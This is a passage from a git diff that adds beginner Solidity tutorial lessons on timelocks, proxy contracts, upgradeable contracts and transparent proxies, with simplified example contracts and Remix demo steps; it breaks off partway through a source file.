address. +- `queueTransaction()`: Creates a transaction and adds it to the time lock queue. The parameters are complicated because they describe a complete transaction: + - `target`: the target contract address + - `value`: the amount of ETH sent + - `signature`: the function signature being called + - `data`: the call data of the transaction + - `executeTime`: the blockchain timestamp when the transaction will be executed. + When calling this function, it is necessary to ensure that the expected execution time `executeTime` is greater than the current blockchain timestamp + the lock time `delay`. The unique identifier for the transaction is the hash value of all the parameters, calculated using the `getTxHash()` function. Transactions that enter the queue will update the `queuedTransactions` variable and release a `QueueTransaction` event. +- `executeTransaction()`: Executes a transaction. Its parameters are the same as `queueTransaction()`. The transaction to be executed must be in the time lock queue, reach its execution time, and not be expired. The `call` member function of `solidity` is used to execute the transaction, which was introduced in [Lesson 22](https://github.com/AmazingAng/WTF-Solidity/blob/main/22_Call/readme.md). +- `cancelTransaction()`: Cancels a transaction. Its parameters are the same as `queueTransaction()`. The transaction to be cancelled must be in the queue. The `queuedTransactions` will be updated and a `CancelTransaction` event will be released. +- `changeAdmin()`: Changes the administrator address and can only be called by the `Timelock` contract. +- `getBlockTimestamp()`: Gets the current blockchain timestamp. +- `getTxHash()`: Returns the identifier of the transaction, which is the `hash` of many transaction parameters. + +```solidity + /** + * @dev Constructor, initialize transaction lock time (seconds) and administrator address + */ + constructor(uint delay_) { + delay = delay_; + admin = msg.sender; + } + + /** + * @dev To change the administrator address, the caller must be a Timelock contract. + */ + function changeAdmin(address newAdmin) public onlyTimelock { + admin = newAdmin; + + emit NewAdmin(newAdmin); + } + + /** + * @dev Create a transaction and add it to the timelock queue. + * @param target: Target contract address + * @param value: Send eth value + * @param signature: The function signature to call (function signature) + * @param data: call data, which contains some parameters + * @param executeTime: Blockchain timestamp of transaction execution + * + * Requirement: executeTime is greater than the current blockchain timestamp + delay + */ + function queueTransaction( + address target, + uint256 value, + string memory signature, + bytes memory data, + uint256 executeTime + ) public onlyOwner returns (bytes32) { + // Check: transaction execution time meets lock time + require( + executeTime >= getBlockTimestamp() + delay, + "Timelock::queueTransaction: Estimated execution block must satisfy delay." + ); + // Calculate the unique identifier for the transaction + bytes32 txHash = getTxHash(target, value, signature, data, executeTime); + // Add transaction to queue + queuedTransactions[txHash] = true; + + emit QueueTransaction( + txHash, + target, + value, + signature, + data, + executeTime + ); + return txHash; + } + + /** + * @dev Cancel a specific transaction. + * + * Requirement: the transaction is in the timelock queue + */ + function cancelTransaction( + address target, + uint256 value, + string memory signature, + bytes memory data, + uint256 executeTime + ) public onlyOwner { + // Calculate the unique identifier for the transaction + bytes32 txHash = getTxHash(target, value, signature, data, executeTime); + // Check: transaction is in timelock queue + require( + queuedTransactions[txHash], + "Timelock::cancelTransaction: Transaction hasn't been queued." + ); + // dequeue the transaction + queuedTransactions[txHash] = false; + + emit CancelTransaction( + txHash, + target, + value, + signature, + data, + executeTime + ); + } + + /** + * @dev Execute a specific transaction + * + * 1. The transaction is in the timelock queue + * 2. The execution time of the transaction is reached + * 3. The transaction has not expired + */ + function executeTransaction( + address target, + uint256 value, + string memory signature, + bytes memory data, + uint256 executeTime + ) public payable onlyOwner returns (bytes memory) { + bytes32 txHash = getTxHash(target, value, signature, data, executeTime); + // Check: Is the transaction in the timelock queue + require( + queuedTransactions[txHash], + "Timelock::executeTransaction: Transaction hasn't been queued." + ); + // Check: the execution time of the transaction is reached + require( + getBlockTimestamp() >= executeTime, + "Timelock::executeTransaction: Transaction hasn't surpassed time lock." + ); + // Check: the transaction has not expired + require( + getBlockTimestamp() <= executeTime + GRACE_PERIOD, + "Timelock::executeTransaction: Transaction is stale." + ); + // remove the transaction from the queue + queuedTransactions[txHash] = false; + + // get callData + bytes memory callData; + if (bytes(signature).length == 0) { + callData = data; + } else { + callData = abi.encodePacked( + bytes4(keccak256(bytes(signature))), + data + ); + } + // Use call to execute transactions + (bool success, bytes memory returnData) = target.call{value: value}( + callData + ); + require( + success, + "Timelock::executeTransaction: Transaction execution reverted." + ); + + emit ExecuteTransaction( + txHash, + target, + value, + signature, + data, + executeTime + ); + + + return returnData; + } + + /** + * @dev Get the current blockchain timestamp + */ + function getBlockTimestamp() public view returns (uint) { + return block.timestamp; + } + + /** + * @dev transaction identifier + */ + function getTxHash( + address target, + uint value, + string memory signature, + bytes memory data, + uint executeTime + ) public pure returns (bytes32) { + return + keccak256(abi.encode(target, value, signature, data, executeTime)); + } +``` + +## `Remix` Demo + +### 1. Deploy the `Timelock` contract with a lockup period of `120` seconds + +![`Remix` Demo](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/45_Timelock_en/step1/img/45-1.jpg) + +### 2. Calling `changeAdmin()` directly will result in an error + +![`Remix` Demo](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/45_Timelock_en/step1/img/45-2.jpg) + +### 3. Creating a transaction to change the administrator + +To construct the transaction, we need to fill in the following parameters: +address target, uint256 value, string memory signature, bytes memory data, uint256 executeTime + +- `target`: Since we are calling a function of `Timelock`, we fill in the contract address. +- `value`: No need to transfer ETH, fill in `0` here. +- `signature`: The function signature of `changeAdmin()` is: `"changeAdmin(address)"`. +- `data`: Fill in the parameter to be passed, which is the address of the new administrator. But the address needs to be padded to 32 bytes of data to meet the [Ethereum ABI Encoding Standard](https://github.com/AmazingAng/WTF-Solidity/blob/main/27_ABIEncode/readme.md). You can use the [hashex](https://abi.hashex.org/) website to encode the parameters to ABI. Example: + + ```solidity + Address before encoding:0xd9145CCE52D386f254917e481eB44e9943F39138 + encoded address:0x000000000000000000000000ab8483f64d9c6d1ecf9b849ae677dd3315835cb2 + ``` + +- `executeTime`: First, call `getBlockTimestamp()` to obtain the current time of the blockchain, and then add 150 seconds to it and fill it in. + ![`Remix` Demo](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/45_Timelock_en/step1/img/45-3.jpg) + +### 4. Call `queueTransaction` to add the transaction to the time-lock queue + +![`Remix` Demo](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/45_Timelock_en/step1/img/45-4.jpg) + +### 5. Calling `executeTransaction` within the locking period will fail + +![`Remix` Demo](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/45_Timelock_en/step1/img/45-5.jpg) + +### 6. Calling `executeTransaction` after the locking period has expired will result in a successful transaction + +![`Remix` Demo](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/45_Timelock_en/step1/img/45-6.jpg) + +### 7. Check the new `admin` address + +![`Remix` Demo](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/45_Timelock_en/step1/img/45-7.jpg) + +## Conclusion + +A time lock can lock certain functions of a smart contract for a period of time, greatly reducing the chance of rug pulls and hacking attacks by project parties, and increasing the security of decentralized applications. It has been widely adopted by DeFi and DAO, including Uniswap and Compound. Does the project you are investing in use a time lock? diff --git a/SolidityBasics_Part3_Applications/step16/ProxyContract.sol b/SolidityBasics_Part3_Applications/step16/ProxyContract.sol new file mode 100644 index 000000000..78782a505 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step16/ProxyContract.sol @@ -0,0 +1,93 @@ +// SPDX-License-Identifier: MIT +// wtf.academy +pragma solidity ^0.8.21; + +/** + * @dev all invocations through Proxy contract are delegated to another contract, which is called logic contract(Implementation), by `delegatecall` opcode. + * + * the return value of delegation call is directly returned to the caller of proxy + */ +contract Proxy { + // Address of the logic contract. The data type of the implementation contract has to be the same as that of the Proxy contract at the same position or an error will occur. + address public implementation; + + /** + * @dev Initializes the address of the logic contract. + */ + constructor(address implementation_) { + implementation = implementation_; + } + + /** + * @dev fallback function, delegates invocations of current contract to `implementation` contract + * with inline assembly, it gives fallback function a return value + */ + fallback() external payable { + address _implementation = implementation; + assembly { + // copy msg.data to memory + // the parameters of opcode calldatacopy: start position of memory, start position of calldata, length of calldata + calldatacopy(0, 0, calldatasize()) + + // use delegatecall to call implementation contract + // the parameters of opcode delegatecall: gas, target contract address, start position of input memory, length of input memory, start position of output memory, length of output memory + // set start position of output memory and length of output memory to 0 + // delegatecall returns 1 if success, 0 if fail + let result := delegatecall( + gas(), + _implementation, + 0, + calldatasize(), + 0, + 0 + ) + + // copy returndata to memory + // the parameters of opcode returndata: start position of memory, start position of returndata, length of retundata + returndatacopy(0, 0, returndatasize()) + + switch result + // if delegate call fails, then revert + case 0 { + revert(0, returndatasize()) + } + // if delegate call succeeds, then return memory data(as bytes format) starting from 0 with length of returndatasize() + default { + return(0, returndatasize()) + } + } + } +} + +/** + * @dev Logic contract, executes delegated calls + */ +contract Logic { + address public implementation; // Keep consistency with the Proxy to prevent slot collision + uint public x = 99; + event CallSuccess(); // Event emitted on successful function call + + // This function emits CallSuccess event and returns a uint + // Function selector: 0xd09de08a + function increment() external returns(uint) { + emit CallSuccess(); + return x + 1; + } +} + +/** + * @dev Caller contract, call the proxy contract and get the result of execution + */ +contract Caller{ + address public proxy; // proxy contract address + + constructor(address proxy_){ + proxy = proxy_; + } + + // Call the increment() function using the proxy contract + function increment() external returns(uint) { + ( , bytes memory data) = proxy.call(abi.encodeWithSignature("increment()")); + return abi.decode(data,(uint)); + } +} diff --git a/SolidityBasics_Part3_Applications/step16/img/46-1.png b/SolidityBasics_Part3_Applications/step16/img/46-1.png new file mode 100644 index 000000000..1c93a181f Binary files /dev/null and b/SolidityBasics_Part3_Applications/step16/img/46-1.png differ diff --git a/SolidityBasics_Part3_Applications/step16/img/46-2.jpg b/SolidityBasics_Part3_Applications/step16/img/46-2.jpg new file mode 100644 index 000000000..4eaa96679 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step16/img/46-2.jpg differ diff --git a/SolidityBasics_Part3_Applications/step16/img/46-3.jpg b/SolidityBasics_Part3_Applications/step16/img/46-3.jpg new file mode 100644 index 000000000..e0ed8e213 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step16/img/46-3.jpg differ diff --git a/SolidityBasics_Part3_Applications/step16/img/46-4.jpg b/SolidityBasics_Part3_Applications/step16/img/46-4.jpg new file mode 100644 index 000000000..03b7d019d Binary files /dev/null and b/SolidityBasics_Part3_Applications/step16/img/46-4.jpg differ diff --git a/SolidityBasics_Part3_Applications/step16/img/46-5.jpg b/SolidityBasics_Part3_Applications/step16/img/46-5.jpg new file mode 100644 index 000000000..7efb2cd67 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step16/img/46-5.jpg differ diff --git a/SolidityBasics_Part3_Applications/step16/img/46-6.jpg b/SolidityBasics_Part3_Applications/step16/img/46-6.jpg new file mode 100644 index 000000000..a2e0f7a83 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step16/img/46-6.jpg differ diff --git a/SolidityBasics_Part3_Applications/step16/img/46-7.jpg b/SolidityBasics_Part3_Applications/step16/img/46-7.jpg new file mode 100644 index 000000000..edbeb055e Binary files /dev/null and b/SolidityBasics_Part3_Applications/step16/img/46-7.jpg differ diff --git a/SolidityBasics_Part3_Applications/step16/step1.md b/SolidityBasics_Part3_Applications/step16/step1.md new file mode 100644 index 000000000..2dd5fbe71 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step16/step1.md @@ -0,0 +1,202 @@ +--- +title: 46. Proxy Contract +tags: + - solidity + - proxy + +--- + +# WTF Solidity Quick Start: 46. Proxy Contract + +Recently, I have been re-learning Solidity to review the details and write a "WTF Solidity Quick Start" for beginners to use (programmer gurus can find other tutorials). The tutorial will be updated with 1-3 lectures per week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk) | [WeChat group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Official website wtf.academy](https://wtf.academy) + +All code and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +In this lesson, we introduce the Proxy Contract. The teaching code is simplified from the OpenZeppelin Proxy contract. + +## Proxy Pattern + +After the `Solidity` contract is deployed on the chain, the code is immutable. There are advantages and disadvantages: + +- Advantages: it is secure and users know what will happen (most of the time). +- Disadvantages: even if there are bugs in the contract, it cannot be modified or upgraded, and only a new contract can be deployed. However, the address of the new contract is different from the old one, and the contract's data also requires a lot of gas to migrate. + +Is there a way to modify or upgrade the contract after it is deployed? The answer is YES, and that is the **Proxy Pattern**. + +![Proxy Pattern](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/46_ProxyContract_en/step1/img/46-1.png) + +The proxy pattern separates contract data and logic and saves them in different contracts. Taking the simple proxy contract in the above figure as an example, the data (state variable) is stored in the proxy contract, and the logic (function) is stored in another logic contract. The proxy contract (Proxy) delegates the function call to the logic contract (Implementation) through `delegatecall`, and then returns the final result to the caller(Caller). + +The proxy pattern has two main benefits: +1. Upgradeable: When we need to upgrade the logic of the contract, we only need to point the proxy contract to a new logic contract. +2. Gas saving: If multiple contracts reuse a set of logic, we only need to deploy one logic contract, and then deploy multiple proxy contracts that only save data and point to the logic contract. + +**Tip**: If you are not familiar with `delegatecall`, you can refer to this tutorial [Lesson 23 Delegatecall](https://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/en/23_Delegatecall_en). + +## Proxy Contract + +Here, we introduce a simple proxy contract that is simplified from OpenZeppelin's [Proxy contract](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/Proxy.sol). It consists of three parts: the proxy contract `Proxy`, the logic contract `Logic`, and a calling example `Caller`. Its logic is not complicated: + +- Firstly, deploy the logic contract `Logic`. +- Create the proxy contract `Proxy`, and the state variable `implementation` records the address of the `Logic` contract. +- The `Proxy` contract delegates all calls to the `Logic` contract using the fallback function. +- Finally, deploy the calling example `Caller` contract and call the `Proxy` contract. +- **Note**: the state variable storage structure of the `Logic` contract and the `Proxy` contract is the same, otherwise `delegatecall` will cause unexpected behavior and pose security risks. + +### Proxy Contract `Proxy` + +The `Proxy` contract is not long, but it uses inline assembly, so it may be difficult to understand. It has only one state variable, one constructor, and one fallback function. The state variable `implementation` is initialized in the constructor and is used to save the address of the `Logic` contract. + +```solidity +contract Proxy { + address public implementation; // Address of the logic contract. The data type of the implementation contract has to be the same as that of the Proxy contract at the same position or an error will occur. + + /** + * @dev Initializes the address of the logic contract. + */ + constructor(address implementation_){ + implementation = implementation_; + } +} +``` + +The fallback function of `Proxy` delegates external calls to the `Logic` contract. This fallback function is unique, it uses inline assembly to give a return value to a function that was previously unable to do so. The inline assembly code utilizes the following operations: + +- `calldatacopy(t, f, s)`: copies `s` bytes of calldata (input data) starting at position `f` to memory (`mem`) position `t`. +- `delegatecall(g, a, in, insize, out, outsize)`: calls the contract at address `a`, using `mem[in..(in+insize))` as input and returning results in `mem[out..(out+outsize))`, providing `g`wei of gas. This operation returns `1` on success and `0` on error. +- `returndatacopy(t, f, s)`: copies `s` bytes of returndata (output data) starting at position `f` to memory (`mem`) position `t`. +- `switch`: a basic version of `if/else` that returns different values depending on the cases. It can have a default case as well. +- `return(p,s)`: terminates execution of the function and returns data `mem[p..(p+s))`. +- `revert(p, s)`: terminates execution of the function, rolls back the state and returns data `mem[p..(p+s))`. + +```solidity +/** +* @dev fallback function, delegates invocations of the current contract to `implementation` contract +* with inline assembly, it gives the fallback function a return value +*/ +fallback() external payable { + address _implementation = implementation; + assembly { + // copy msg.data to memory + // the parameters of opcode calldatacopy: start position of memory, start position of calldata, length of calldata + calldatacopy(0, 0, calldatasize()) + + // use delegatecall to call the implementation contract + // the parameters of opcode delegatecall: gas, target contract address, start position of input memory, length of input memory, start position of output memory, length of output memory + // set start position of output memory and length of output memory to 0 + // delegatecall returns 1 if success, 0 if fail + let result := delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0) + + // copy returndata to memory + // the parameters of opcode returndata: start position of memory, start position of returndata, length of retundata + returndatacopy(0, 0, returndatasize()) + + switch result + // if delegate call fails, then revert + case 0 { + revert(0, returndatasize()) + } + + // if delegate call succeeds, then return memory data(as bytes format) starting from 0 with length of returndatasize() + default { + return(0, returndatasize()) + } + } +} +``` + +### Logic Contract + +This is a very simple logic contract designed to demonstrate a proxy contract. It contains two variables, one event and one function: + +- `implementation`: A placeholder variable that keeps consistency with the `Proxy` contract to prevent slot conflicts. +- `x`: A `uint` variable that is set to `99`. +- `CallSuccess` event: Released upon successful invocation. +- `increment()` function: Called by the `Proxy` contract, releases the `CallSuccess` event, and returns a `uint` whose selector is `0xd09de08a`. Directly calling `increment()` will return `100`, but calling it through `Proxy` will return `1`. Can you guess why? + +```solidity +/** + * @dev Logic contract, executes delegated calls + */ +contract Logic { + address public implementation; // Keep consistency with the Proxy to prevent slot collision + uint public x = 99; + event CallSuccess(); // Event emitted on successful function call + + // This function emits CallSuccess event and returns a uint + // Function selector: 0xd09de08a + function increment() external returns(uint) { + emit CallSuccess(); + return x + 1; + } +} +``` + +### Caller contract + +The `Caller` contract demonstrates how to call a proxy contract, it's very simple. However, to understand it, you need to first learn about [Lesson 22: Call](https://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/en/22_Call_en/readme.md) and [Lesson 27: ABI encoding](https://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/en/27_ABIEncode_en/readme.md) in this tutorial. + +There are 1 variable and 2 functions: +- `proxy`: a state variable that records the proxy contract address. +- Constructor: initializes the `proxy` variable when the contract is deployed. +- `increase()`: calls the proxy contract's `increment()` function using `call` and returns a `uint`. When calling, we use `abi.encodeWithSignature()` to obtain the `selector` of the `increment()` function. When returning, `abi.decode()` is used to decode the return value as a `uint` type. + +```solidity +/** + * @dev Caller contract, call the proxy contract and get the result of execution + */ +contract Caller{ + address public proxy; // proxy contract address + + constructor(address proxy_){ + proxy = proxy_; + } + + // Call the increment() function using the proxy contract + function increment() external returns(uint) { + ( , bytes memory data) = proxy.call(abi.encodeWithSignature("increment()")); + return abi.decode(data,(uint)); + } +} +``` + +## `Remix` Demo + +1. Deploy the `Logic` contract. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/46_ProxyContract_en/step1/img/46-2.jpg) + +2. Call the `increment()` function of the `Logic` contract, which returns `100`. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/46_ProxyContract_en/step1/img/46-3.jpg) + +3. Deploy the `Proxy` contract and fill in the address of the `Logic` contract during initialization. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/46_ProxyContract_en/step1/img/46-4.jpg) + +4. Call the `increment()` function of the `Proxy` contract, which has no return value. + + Call method: click on the `Proxy` contract in the `Remix` deployment panel, fill in the selector of the `increment()` function `0xd09de08a` in the `Low level interaction` at the bottom, and click `Transact`. +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/46_ProxyContract_en/step1/img/46-5.jpg) + +5. Deploy the `Caller` contract and fill in the `Proxy` contract address during initialization. +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/46_ProxyContract_en/step1/img/46-6.jpg) + +6. Call the `increment()` function of the `Caller` contract and return `1`. +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/46_ProxyContract_en/step1/img/46-7.jpg) + +### Summary + +In this lesson, we introduced the proxy pattern and simple proxy contracts. The proxy contract uses `delegatecall` to delegate function calls to another logic contract, allowing data and logic to be responsible for different contracts. In addition, it uses inline assembly magic to allow fallback functions without return values to return data. + +The question we left for everyone earlier was: why does a call to `increment()` through Proxy return 1? According to what we said in [Lesson 23: Delegatecall](https://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/en/23_Delegatecall_en), when the Caller contract `delegatecall`s the Logic contract through the Proxy contract, if the Logic contract function changes or reads some state variables, it will operate on the corresponding variables of the Proxy, and the value of the `x` variable of the Proxy contract here is 0 (because `x` has never been set, i.e. the value at the corresponding position of the storage area of the Proxy contract is 0), so calling `increment()` through Proxy will return 1. + +In the next lesson, we will introduce upgradeable proxy contracts. + +Although the proxy contract is very powerful, it is prone to bugs. When using it, you'd better directly copy the template contract from [OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/proxy). diff --git a/SolidityBasics_Part3_Applications/step17/Upgrade.sol b/SolidityBasics_Part3_Applications/step17/Upgrade.sol new file mode 100644 index 000000000..e1540649c --- /dev/null +++ b/SolidityBasics_Part3_Applications/step17/Upgrade.sol @@ -0,0 +1,61 @@ +// SPDX-License-Identifier: MIT +// wtf.academy +pragma solidity ^0.8.21; + +// simple upgradeable contract, the admin could change the logic contract's address by calling upgrade function, thus change the contract logic +// FOR TEACHING PURPOSE ONLY, DO NOT USE IN PRODUCTION +contract SimpleUpgrade { + // logic contract's address + address public implementation; + + // admin address + address public admin; + + // string variable, could be changed by logic contract's function + string public words; + + // constructor, initializing admin address and logic contract's address + constructor(address _implementation){ + admin = msg.sender; + implementation = _implementation; + } + + // fallback function, delegates function call to logic contract + fallback() external payable { + (bool success, bytes memory data) = implementation.delegatecall(msg.data); + } + + // upgrade function, changes the logic contract's address, can only by called by admin + function upgrade(address newImplementation) external { + require(msg.sender == admin); + implementation = newImplementation; + } +} + +// first logic contract +contract Logic1 { + // State variables consistent with Proxy contract to prevent slot conflicts + address public implementation; + address public admin; + // String that can be changed through the function of the logic contract + string public words; + + // Change state variables in Proxy contract, selector: 0xc2985578 + function foo() public { + words = "old"; + } +} + +// second logic contract +contract Logic2 { + // State variables consistent with proxy contract to prevent slot collisions + address public implementation; + address public admin; + // String that can be changed through the function of the logic contract + string public words; + + // Change state variables in Proxy contract, selector: 0xc2985578 + function foo() public{ + words = "new"; + } +} \ No newline at end of file diff --git a/SolidityBasics_Part3_Applications/step17/img/47-1.png b/SolidityBasics_Part3_Applications/step17/img/47-1.png new file mode 100644 index 000000000..a796e8372 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step17/img/47-1.png differ diff --git a/SolidityBasics_Part3_Applications/step17/img/47-2.png b/SolidityBasics_Part3_Applications/step17/img/47-2.png new file mode 100644 index 000000000..983fbcb7c Binary files /dev/null and b/SolidityBasics_Part3_Applications/step17/img/47-2.png differ diff --git a/SolidityBasics_Part3_Applications/step17/img/47-3.png b/SolidityBasics_Part3_Applications/step17/img/47-3.png new file mode 100644 index 000000000..d825194c4 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step17/img/47-3.png differ diff --git a/SolidityBasics_Part3_Applications/step17/img/47-4.png b/SolidityBasics_Part3_Applications/step17/img/47-4.png new file mode 100644 index 000000000..476514678 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step17/img/47-4.png differ diff --git a/SolidityBasics_Part3_Applications/step17/img/47-5.png b/SolidityBasics_Part3_Applications/step17/img/47-5.png new file mode 100644 index 000000000..6f4c7da0b Binary files /dev/null and b/SolidityBasics_Part3_Applications/step17/img/47-5.png differ diff --git a/SolidityBasics_Part3_Applications/step17/img/47-6.png b/SolidityBasics_Part3_Applications/step17/img/47-6.png new file mode 100644 index 000000000..4d1eb7045 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step17/img/47-6.png differ diff --git a/SolidityBasics_Part3_Applications/step17/img/47-7.png b/SolidityBasics_Part3_Applications/step17/img/47-7.png new file mode 100644 index 000000000..cb8c3640c Binary files /dev/null and b/SolidityBasics_Part3_Applications/step17/img/47-7.png differ diff --git a/SolidityBasics_Part3_Applications/step17/step1.md b/SolidityBasics_Part3_Applications/step17/step1.md new file mode 100644 index 000000000..062777beb --- /dev/null +++ b/SolidityBasics_Part3_Applications/step17/step1.md @@ -0,0 +1,145 @@ +--- +title: 47. Upgradeable Contract +tags: + - solidity + - proxy + - OpenZeppelin + +--- + +# WTF Solidity Crash Course: 47. Upgradeable Contract + +I have recently been revising Solidity to consolidate the details, and am writing a "WTF Simplified Introduction to Solidity" for beginners to use (programming experts can find other tutorials), with weekly updates of 1-3 lectures. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Official website wtf.academy](https://wtf.academy) + +All code and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +in this lesson, we'll introduce Upgradeable Contract, the sample contracts used for teaching are simplified from `OpenZeppelin` contracts, they may pose security issues, DO NOT USE IN PRODUCTION. + +## Upgradeable Contract + +If you understand proxy contracts, it is easy to understand upgradeable contracts. It is a proxy contract that can change the logic contract. + +![Upgradeable Contract Pattern](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/47_Upgrade_en/step1/img/47-1.png) + +## Simple Implementation + +Below we implement a simple upgradeable contract that includes 3 contracts: the proxy contract, the old logic contract, and the new logic contract. + +### Proxy Contract + +This proxy contract is simpler than that in [Lecture 46](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/46_ProxyContract_en/readme.md). We didn't use inline assembly in its `fallback()` function, but only used `implementation.delegatecall(msg.data);`. Therefore, the callback function does not return a value, but it is sufficient for teaching purposes. + +It contains 3 variables: +- `implementation`: The logic contract address. +- `admin`: Admin address. +- `words`: String that can be changed through a function in the logic contract. + +It contains `3` functions: + +- Constructor: Initializes admin and logic contract addresses. +- `fallback()`: Callback function, delegates the call to the logic contract. +- `upgrade()`: The upgrade function, changes the logic contract's address, and can only be called by `admin`. + +```solidity +// SPDX-License-Identifier: MIT +// wtf.academy +pragma solidity ^0.8.21; + +// simple upgradeable contract, the admin could change the logic contract's address by calling the upgrade function, thus changing the contract logic +// FOR TEACHING PURPOSE ONLY, DO NOT USE IN PRODUCTION +contract SimpleUpgrade { + // logic contract's address + address public implementation; + + // admin address + address public admin; + + // string variable, could be changed by the logic contract's function + string public words; + + // constructor, initializing admin address and logic contract's address + constructor(address _implementation){ + admin = msg.sender; + implementation = _implementation; + } + + // fallback function, delegates function call to logic contract + fallback() external payable { + (bool success, bytes memory data) = implementation.delegatecall(msg.data); + } + + // upgrade function, changes the logic contract's address, can only be called by admin + function upgrade(address newImplementation) external { + require(msg.sender == admin); + implementation = newImplementation; + } +} +``` + +### Old Logic Contract + +This logic contract includes `3` state variables and is consistent with the proxy contract to prevent slot conflicts. It only has one function `foo()`, which changes the value of `words` in the proxy contract to `"old"`. + +```solidity +// Logic contract 1 +contract Logic1 { + // State variables consistent with Proxy contract to prevent slot conflicts + address public implementation; + address public admin; + // String that can be changed through the function of the logic contract + string public words; + + // Change state variables in Proxy contract, selector: 0xc2985578 + function foo() public { + words = "old"; + } +} +``` + +### New Logic Contract + +This logic contract contains `3` state variables, consistent with the proxy contract to prevent slot conflicts. It has only one function, `foo()`, which changes the value of `words` in the proxy contract to `"new"`. + +```solidity +// Logic Contract 2 +contract Logic2 { + // State variables consistent with a proxy contract to prevent slot collisions + address public implementation; + address public admin; + // String that can be changed through the function of the logic contract + string public words; + + // Change state variables in Proxy contract, selector: 0xc2985578 + function foo() public{ + words = "new"; + } +} +``` + +## Implementation with `Remix` + +1. Deploy the old and new logic contracts `Logic1` and `Logic2`. +![47-2.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/47_Upgrade_en/step1/img/47-2.png) +![47-3.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/47_Upgrade_en/step1/img/47-3.png) + +2. Deploy the upgradeable contract `SimpleUpgrade` and set the `implementation` address to the address of the old logic contract. +![47-4.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/47_Upgrade_en/step1/img/47-4.png) + +3. Use the selector `0xc2985578` to call the `foo()` function of the old logic contract `Logic1` in the proxy contract and change the value of `words` to `"old"`. +![47-5.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/47_Upgrade_en/step1/img/47-5.png) + +4. Call `upgrade()` to set the `implementation` address to the address of the new logic contract `Logic2`. +![47-6.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/47_Upgrade_en/step1/img/47-6.png) + +5. Use the selector `0xc2985578` to call the `foo()` function of the new logic contract `Logic2` in the proxy contract and change the value of `words` to `"new"`. +![47-7.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/47_Upgrade_en/step1/img/47-7.png) + +## Summary + +In this lesson, we introduced a simple upgradeable contract. It is a proxy contract that can change the logic contract and add upgrade functionality to immutable smart contracts. However, this contract has a problem of selector conflict and poses security risks. Later, we will introduce the upgradeable contract standards that solve this vulnerability: Transparent Proxy and UUPS. diff --git a/SolidityBasics_Part3_Applications/step18/TransparentProxy.sol b/SolidityBasics_Part3_Applications/step18/TransparentProxy.sol new file mode 100644 index 000000000..e0d19cd2c --- /dev/null +++ b/SolidityBasics_Part3_Applications/step18/TransparentProxy.sol @@ -0,0 +1,70 @@ +// SPDX-License-Identifier: MIT +// wtf.academy +pragma solidity ^0.8.21; + +// selector clash example +// uncomment the two lines of code, the contract fails to compile, because the selector of these two functions are identical +contract Foo { + bytes4 public selector1 = bytes4(keccak256("burn(uint256)")); + bytes4 public selector2 = bytes4(keccak256("collate_propagate_storage(bytes16)")); + // function burn(uint256) external {} + // function collate_propagate_storage(bytes16) external {} +} + + +// FOR TEACHING PURPOSE ONLY, DO NOT USE IN PRODUCTION +contract TransparentProxy { + // logic contract's address + address implementation; + // admin address + address admin; + // string variable, can be modified by calling loginc contract's function + string public words; + + // constructor, initializing the admin address and logic contract's address + constructor(address _implementation){ + admin = msg.sender; + implementation = _implementation; + } + + // fallback function, delegates function call to logic contract + // can not be called by admin, to avoid causing unexpected behavior due to selector clash + fallback() external payable { + require(msg.sender != admin); + (bool success, bytes memory data) = implementation.delegatecall(msg.data); + } + + // upgrade function, change logic contract's address, can only be called by admin + function upgrade(address newImplementation) external { + if (msg.sender != admin) revert(); + implementation = newImplementation; + } +} + +// old logic contract +contract Logic1 { + // state variable should be the same as proxy contract, in case of slot clash + address public implementation; + address public admin; + // string variable, can be 